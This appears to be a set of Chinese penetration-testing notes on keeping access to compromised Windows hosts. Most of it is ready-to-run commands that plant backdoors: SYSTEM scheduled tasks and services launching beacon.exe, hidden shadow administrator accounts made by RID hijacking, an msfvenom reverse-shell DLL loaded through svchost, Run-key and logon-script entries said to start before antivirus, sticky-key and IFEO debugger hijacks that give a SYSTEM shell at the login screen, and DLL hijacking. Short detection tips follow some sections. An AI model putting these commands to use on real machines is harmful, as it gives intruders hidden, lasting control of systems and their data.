权限维持
在获取服务器权限后,为了防止服务器管理员发现和修补漏洞而导致对服务器权限的丢失,测试人员往往需要采取一些手段来实现对目标服务器的持久化访问。
权限持久化(权限维持)技术就是包括任何可以被测试人员用来在系统重启、更改用凭据或其他可能造成访问中断的情况发生时保持对系统的访问技术。
常见系统后门技术
1. 创建计划任务
通过创建计划任务,让目标主机在特定的时间点或规定的周期内重复运行测试人员预先准备的后门程序,从而实现权限持久化。
windows中使用schtasks命令创建计划任务。https://www.yuque.com/chenchen-dqalz/ddhuud/dqzgp7
1. 在\Microsoft\Windows\AppTask\AppRun\路径下创建计划任务"updatex",触发程序为beacon.exe,运行级别为高级别,以system权限每隔2分钟运行一次。
schtasks /create /tn "\Microsoft\Windows\AppTask\AppRun\updatex" /tr C:\beacon.exe /rl highest /F /sc minute /mo 2 /RU system
ps:如果当前为普通用户执行计划任务, /ru参数值可以设置为 %username%,如果是管理员则可以指定为.system
防御
当计划任务指定了路径时,通过启动项管理是看不到创建的计划任务的,需要火绒剑
2. 创建影子账户
影子账户,就是隐藏账户,无论通过“计算机管理”还是命令行查询都无法看到,只能在注册表中找到其信息。可以通过创建具有管理员权限的影子账户,在目标主机上实现权限维持,不过需要拥有管理员级别的权限。
通过创建影子账户,测试人员可以随时随地通过远程桌或其他方法登录目标系统
1. 使用如下命令创建隐藏用户并加入管理员组
net user hacker$ 123456 /add
# $表示该用户为隐藏账户
net localgroup administrators hacker$ /add
创建成功后使用 net user 命令无法查看到此用户
但是 net localgroup administrators 、用户管理、用户登录界面可以查看到
修改注册表
我们可以通过对注册表的修改来将其完全隐藏
修改注册表sam的权限为 administrator账户完全控制
定位到如下,右键,选择权限,将administrator的权限设置为完全控制。因为该注册表项中的内容在标准用户和管理员权限下都是不可见的
HKEY_LOCAL_MACHINE\SAM\SAM
再重新进入注册表就能展开“SAM”下的内容了
劫持administrator的RID
点击administrator,可见类型为01f4,在左边找到与01f4相同的目录名
进入,如下双击,复制000001F4表项的F属性的值
以相同的方法找到与隐藏账户hacker$类型值相同的相应的目录“000003EA”,将复制的“000001F4表项的F属性的值”粘贴到“000003EA表项的F属性值”中
以上过程其实是hacker劫持了administrator用户的RID,从而使hacker$用户获得administrator用户的权限(只是将hacker$账号添加到administrators组中,会无法完成整个操作,如无法远程登录hacker$)
选择注册表项hacker$和000003EA并导出
以同样的方式导出000003EA目录
删除hacker$
net user hacker$ /del
将刚才导出的两个注册表文件再导入注册表中即可
到此,真正的影子账号就建立好了。此时无论是net localgroup administrators 、用户管理、用户登录界面都无法查看到,只有注册表中才能看到刚账号的信息
成功对hacker$进行远程桌面连接,其实就是通过克隆的方式能够继承原帐户administrator的权限,如果目标administrator账号在线则会被挤出
以上所有的过程通过脚本实现(有一定难度):https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%B8%90%E6%88%B7%E9%9A%90%E8%97%8F
防御
查看如下注册表(需先分配权限)并与net user中比较,看是否存在可疑账号。
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
激活Guest账户
Guest为windows为内置账号,属于Guests组,默认为禁用状态,可以将他激活,设定密码,并加入到管理员组中即可使用
net user guest /actice:yes
net user guest 123.com
net localgroup administrators guest /add
防御
查看guest账号是否激活,是否添加到管理员组中
3. 系统服务后门
对于启动类型为“自动”的系统服务,测试人员可以将服务运行的二进制文件路径设置为后门程序或其他攻击载荷,当系统或服务重启时,可以重启获取对目标主机的控制权限。不过需要拥有管理员权限才能操作
创建自启动服务
自启动服务一般是在电脑启动后 在后台加载指定的服务程序,我们可以将 exe 文件注册为服务,也可以将 dll 文件注册为服务。
针对服务的操作,涉及到一条命令sc。其可以更改服务的属性、启动状态,删除或停止服务。
1. 创建服务
#创建名为backdoor的服务(注意等号后面有空格),设置自启动,启动权限为system
sc create backdoor binpath= "cmd.exe /k C:\beacon.exe" start= "auto" obj= "Localsystem"
#启动服务
net start backdoor
#查询服务
sc query backdoor
#删除服务
sc delete backdoor
服务如下
启动服务,上线
当系统或服务重启,将以system权限运行后门程序beacon.exe,目标主机将重新上线
利用现有的系统服务
通过修改现有服务的配置信息,使服务启动时运行指定的后门程序。通过“sc config”命令修改服务的binpath选项,也可以尝试修改服务注册表的ImagePath键,二者都直接指定了相应服务启动运行的二进制文件。
利用svchost.exe启动服务
svchost.exe是windows的系统文件,官方解释:svchost.exe 是从动态链接库 (DLL) 中运行的服务的通用主机进程名称。这个程序对系统的正常运行是非常重要,而且是不能被结束的。许多服务通过注入到该程序中启动,所以会有多个该文件的进程。
在windows系统中,需要由svchost.exe进程启动的服务将以DLL形式实现。在安装这些服务时,需要将服务的可执行文件路径指向svchost.exe。在启动这些服务时,由svchost.exe调用相应服务的dll文件,而具体调用哪个dll是由该服务在注册表的信息所决定。
如下服务启动的可执行文件的路径为“%systemroot%\system32\svchost.exe -k netsvcs”,说明该服务是依靠svchost.exe加载DLL文件来实现的
该服务的注册表下还有一个Parameters子项,其中的ServiceDLL键值表明该服务由哪个dll文件负责。当服务启动时,svchost.exe就会加载wuaueng.dll文件,并执行其提供的具体服务
注意,系统会根据服务可执行文件路径中的参数对服务进行分组,如 %systemroot%\system32\svchost.exe -k netsvcs 表明该服务属于netsvcs这个服务组。通常,每个svchost进程负责运行一组服务。因此,并不是每启动一个服务就会增加一个svchost.exe进程。
svchost.exe的所有服务组位于注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost中。通过svchost.exe加载启动的服务都要在该表项中注册
在实战中,测试人员可以通过svchost.exe加载恶意服务,以此建立持久化后门。由于恶意服务dll将加载到svchost.exe进程,恶意进程不是独立运行的,因此使用这种方法建立的后门具有很高的隐蔽性。
msf生成恶意dll文件
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.5 LPORT=4444 -f dll -o reverse_tcp.dll
将生成的dll上传到目标主机的c盘下依次执行以下命令,安装并配置恶意服务。
#1.创建名为backdoor的服务,并以svchost加载的方式启动,服务分组为netsvc
sc create backdoor binPath= "C:\Windows\System32\svchost.exe -k netsvc" start= "auto" obj= "Localsystem"
#2.设置backdoor服务启动时加载的dll为beacon.dll
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\backdoor\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\system32\beacon.dll"
#3.配置服务描述
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\backdoor /v Description /t REG_SZ /d "Windows update Service"
#4.配置服务显示名称
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\backdoor /v DisplayName /t REG_SZ /d "backdoor"
#5.创建服务新分组netsvc,并将backdoor服务添加进去
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvc /t REG_MULTI_SZ /d backdoor
启动服务或者重启系统时,Svchost.exe以system权限加载恶意服务,目标主机将上线(可能因为dll的原因,连接msf后马上又掉了)
4. 启动项/注册表键后门
通过将后门程序添加到系统启动文件夹或通过注册表运行键引用来进行权限持久化。添加的后门程序将在用户登录的上下文中启动,并且具有与账户相关联的权限等级。
系统启动文件夹
将程序放置在启动文件夹中会导致该程序在用户登录时执行。windows中有两种常见的启动文件夹:
用户自启动文件夹
里面存放的程序只对当前用户生效。每个用户都有自己的自启动文件夹
win+r 后输入:shell:startup
%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
# %USERPROFILE% 为系统变量 = C:\Users\用户名
系统自启动文件夹
无论哪个用户登录账户,都将检查并启动该文件夹中的程序。普通用户想写入该文件夹需要有管理员权限
win+r 后输入:
%programdata%\Microsoft\Windows\Start Menu\Programs\Startup
# %ProgramData% = C:\ProgramData
在这里添加的启动项,安全软件中能在启动项中看到此程序
防御
检查对应的文件夹中是否存在可疑程序
注册表运行键
windows系统上有许多注册表项可以用来设置在系统启动或用户登录时运行指定的程序或加载指定DLL文件,可以对此类注册表进行滥用,以建立持久化后门。
当用户登录时,系统会依次检查位于注册表运行键(Run keys)中的程序,并在用户登录的上下文中启动
#以下注册表中的程序将在当前用户登录时启动
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
#以下注册表中的程序将在所有用户登录时启动
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
如下,在注册表运行键中添加一个名为“backdoor”的键,并将键值指向后门程序的绝对路径。系统中任何用户登录都将触发程序执行
REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v backdoor /t REG_SZ /d "C:\beacon.exe"
防御
检查对应注册表中是否存在可疑键
logon scripts 后门
Windows 登录脚本,当用户登录时触发,Logon Scripts 能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。
注册表位置:HKEY_CURRENT_USER\Environment
HKEY_CURRENT_USER\Environment
REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Administrator\Desktop\poc.exe"
查询注册表是否添加成功
# reg query 根键子键 /v 键名称
reg query HKEY_CURRENT_USER\Environment /v UserInitMprLogonScript
如果不存在则显示“错误: 系统找不到指定的注册表项或值”
此时,用户一登录成功执行poc.exe
注意:在此注册表中添加的启动项在安全软件的启动项管理中是看不出来的,而且它优先于安全软件启动。比如,在没有杀软的情况下我在这注册表里放了beacon.exe,然后重启电脑,此时杀软也启动了,但是它并不会拦截该exe程序
但是,此时只要一执行敏感命令如"shell whoami"就会被拦截
但是,如果我们在执行特殊命令前,先将进程注入到其他的正常进程去,此时杀软就不会再进行拦截
Port Monitors
打印后台处理服务(print Spooler)负责管理windows系统的打印作业。与该服务的交互是通过Print Spooler API执行的,其中包含AddMonitor函数,用于安装Port Monitors(本地端口监视器),并连接配置、数据和监视器文件。AddMonitor函数能够将DLL注入spoolsv.exe进程,以实现相应功能,并且通过创建注册表键,测试人员可以在目标系统上进行权限持久化。需管理员权限
cs生成恶意DLL
将生成的DLL上传到目标主机的c:\windows\system32目录中,并执行以下命令,通过编辑注册表安装一个端口监视器
#HKLM\SYSTEM\就是HKEY_LOCAL_MACHINE,Monitors为新建的目录
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\TestMonitor" /v "Driver" /t REG_SZ /d "reverse.dll"
当系统重启时,Print Spooler服务在启动过程中会读取Monitors注册表项的所有子键,并以system权限加载Drivers键值所指定的DLL文件。不知为何,重启后我这里cs没有上线
事件触发执行
1. 利用WMI事件订阅
使用WMI的功能在远程主机上部署永久事件订阅,并在特定事件发生时,执行特定的后门程序,以建立持久化后门 —> https://www.yuque.com/chenchen-dqalz/qe15s1/rrc5ws
2. 利用系统辅助功能
windows系统包含了许多供用户通过组合键启动的辅助功能,测试人员可以修改这些程序的启动方式,以获取目标主机的命令行或运行指定的后门攻击载荷,不需要登录系统即可获取目标主机权限。常见的辅助功能程序如表
程序 | 功能 | 热键组合 |
sethc.exe | 粘滞键 | 连按5次Shift |
magnify.exe | 放大镜 | windows + "+" |
utilman.exe | 实用程序 | windows + u |
osk.exe | 屏幕键盘 | windows + ctrl + o |
displayswitch.exe | 扩展屏幕 | windows + p |
atbroker.exe | 辅助管理工具 | |
narrator.exe | 讲述者 | windows + ctrl + enter |
粘滞键
最常利用的辅助功能程序是sethc.exe,所在路径为c:\windows\system32。通常被称为“粘滞键”。当连续5次按下shift键时,该程序启动。
攻击者通过在目标主机上将cmd.exe伪装成sethc.exe,然后在远程桌面登录屏幕中连按5次shit键,即可获取一个命令行窗口,实现未授权访问。需管理员权限。
粘滞键:Windows中的粘滞键是专为同时按下两个或多个键有困难的人设计的。粘滞键的主要功能是方便Shift、Ctrl、Alt与其他键的组合使用。在我们使用热键,例如“CTRL+C”时,粘滞键就可以通过一次只按一个键来完成复制的功能。
在高版本的windows中,c:\windows\system32目录下的文件受到系统保护,只有TrustedInstaller权限的用户才能对其中的文件拥有修改和写入的权限。
所以,在替换sethc.exe程序需要先通过令牌窃取提升至TrustedInstaller权限。相关提权方法,见令牌窃取
获取到TrustedInstaller权限后,执行以下命令
cd c:\windows\system32
move sethc.exe sethec.exe.bak
copy cmd.exe sethc.exe #将一个cmd.exe副本伪装成sethc.exe
此时,在目标主机的远程桌面登录屏幕中连按次shift键,即可获取一个命令窗口,并且为system权限
3. 映像劫持
“映像劫持”,也被称为 “IFEO”(Image File Execution Options),是windows系统的一个注册表项,路径为“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options”。在windowsNT系统中,IFEO原本是为一些默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。IFEO使得开发人员能够将调试器附加到应用程序。当创建进程时,应用程序的IFEO中设置的调试器将附加到应用程序的名称前,从而有效地在调试器下启动新进程。
Dubugger
利用前提:开启3389端口
当用户启动计算机的程序后,系统会在注册表的IEFO中查询所有的程序子键,如果存在与该程序名称相同的子键,就读取对应子键的“Dubugger”键值。如果该键值未被设置,就默认不做处理,否则直接使用该键值所指定的程序路径来代替原始的程序。
通过编辑“dubugger”的值,测试人员可以通过修改注册表的方式创建粘滞键后门,而不需要获取TrustedInstaller权限。
在目标主机上执行以下命令,向Image File Execution Options注册表项中添加映像劫持子键,并将“Dubugger”的值设置为要执行的程序即可
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
此时连续按5次shift键即可打开cmd。当该机器开启远程连接时,我们在linux机器上与其进行远程连接,弹出连接窗口后。连按次shift键即可打开cmd。此时无需输入目标用户密码
防御
查看是否存在“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe”注册表项
GlobalFlag
IFEO还可以在程序静默退出时启动任意监控程序。实现的效果是:程序A静默退出结束后,会执行程序B。
劫持notepad.exe(记事本)示例:
#启用对记事本进程的静默退出监视
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
#启用windows错误报告进程WerFault.exe,它将成为beacon.exe的父进程
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
#京监视进程设为beacon.exe
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "C:\beacon.exe"
此时我们打开notepad再关闭后,将在werFauit.exe父进程中创建子进程以运行后门程序beacon.exe
每次启动再关闭记事本,都会生成一个beacon.exe进程
防御
查看“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit”注册表中是否存在可疑项,且项中的键值是否指向可疑程序
4. 利用屏幕保护程序
屏幕保护是windows系统的一项功能,可以在一段时间不活动后播放屏幕消息或图形动画。屏幕保护程序又具有.scr文件扩展名的可执行文件组成。系统注册表项HKEY_CURRENT_USER\Control Panel\Desktop下存储用来设置屏幕保护程序的键值。
键名 | 说明 |
SCRNSAVE.EXE | 设置屏幕保护程序的路径,其指向.scr为扩展名的可执行文件 |
ScreenSaveActive | 设置是否启用屏幕保护程序,默认为1表示启动 |
ScreenSaverIsSecure | 设置是否需要密码解锁,设为0表示不需要密码 |
ScreenSaveTimeOut | 设置执行屏幕保护程序之前用户不活动的超时 |
测试人员可以通过编辑注册表,修改屏幕保护程序的执行路径(即scrnsave.exe键的值),当触发屏幕保护时执行自定义的后门程序,以此实现持久化,命令如下
#将触发屏幕保护时执行的程序设为自定义的恶意程序,这里的程序以.scr或.exe为扩展名皆可
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "c:\beacon.exe" /f
#启用屏幕保护
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f
#设置不需要密码解锁
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f
#将用户不活动的超时设置为60秒
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f
利用该技术不需要管理员源权限,以标准用户权限即可利用。这里实验无任何反应
5. DLL劫持
DLL劫持是指将通过同名的恶意DLL文件放在合法DLL文件所在路径前的搜索位置,当应用程序搜索DLL时,会以恶意DLL代替合法的DLL来加载。通过劫持应用程序或服务所加载的DLL文件,在目标系统上建立持久化后门。
劫持应用程序
参考:https://cloud.tencent.com/developer/article/1951503
劫持系统服务
MSDTC(分布式事务处理协调器)是windows系统服务,负责协调跨越多个资源管理器(例如数据库,消息队列和文件系统)的事务。
MSDTC服务启动后,将尝试在c:\windows\system32目录中加载oci.dll文件,但是该文件不存在。所以,我们可以制作一个恶意的dll,将其命名为oci.dll,并放在c:\windows\system32目录下,当MSDTC服务启动时,恶意dll将加载到msdtc.exe进程中。注意,在某些版本的系统中MSDTC服务的启动类型默认为手动。为了实现权限持久化,可以将其启动类型改为“自动”
将msdtc服务启动类型设置为自动
sc config msdtc start= "auto"
复制恶意dll到c:\windows\system32目录下
服务或系统重启时主机上线,并且权限为network service
防御
检查c:\windows\system32目录中是否存在oci.dll恶意文件,因为默认是不存在该文件的